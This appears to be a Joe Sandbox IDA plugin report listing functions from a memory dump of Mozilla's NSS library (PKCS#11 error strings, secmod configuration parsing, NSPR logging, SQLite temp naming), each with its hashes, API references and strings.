Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
rv = %s, xrefs: 6C682340
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_PIN_INCORRECT, xrefs: 6C681D92
rv = 0x%x, xrefs: 6C682312
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_PIN_INVALID, xrefs: 6C682057
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_OK, xrefs: 6C681DFC
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
CKR_STATE_UNSAVEABLE, xrefs: 6C682037
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_PIN_LOCKED, xrefs: 6C682075
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F
CKR_NEW_PIN_MODE, xrefs: 6C681E9F
CKR_DEVICE_REMOVED, xrefs: 6C682261
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

%s/%s, xrefs: 6C6B6055
configDir=, xrefs: 6C6B5F9D
readOnly, xrefs: 6C6B5E56
secmod.db, xrefs: 6C6B5EA0
noModDB, xrefs: 6C6B5EEA
secmod=, xrefs: 6C6B5FB1
forceSecmodChoice, xrefs: 6C6B5F55
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
, %n, xrefs: 6C641E6B
sync, xrefs: 6C641E46
append, xrefs: 6C641EE6
all, xrefs: 6C641F0E
timestamp, xrefs: 6C641EC4
NSPR_LOG_MODULES, xrefs: 6C641DAD
Unable to create nspr log file '%s', xrefs: 6C641FB3
NSPR_LOG_FILE, xrefs: 6C641F69
bufsize, xrefs: 6C641E9B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname1, xrefs: 6C72708F
winGetTempname2, xrefs: 6C7270C4
winGetTempname5, xrefs: 6C727071
winGetTempname4, xrefs: 6C727046
mz_etilqs_, xrefs: 6C726F18
Pvl, xrefs: 6C7270A8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
C_WrapKey, xrefs: 6C688E71
nvl, xrefs: 6C688FEC, 6C689023
*pulWrappedKeyLen = 0x%x, xrefs: 6C689042
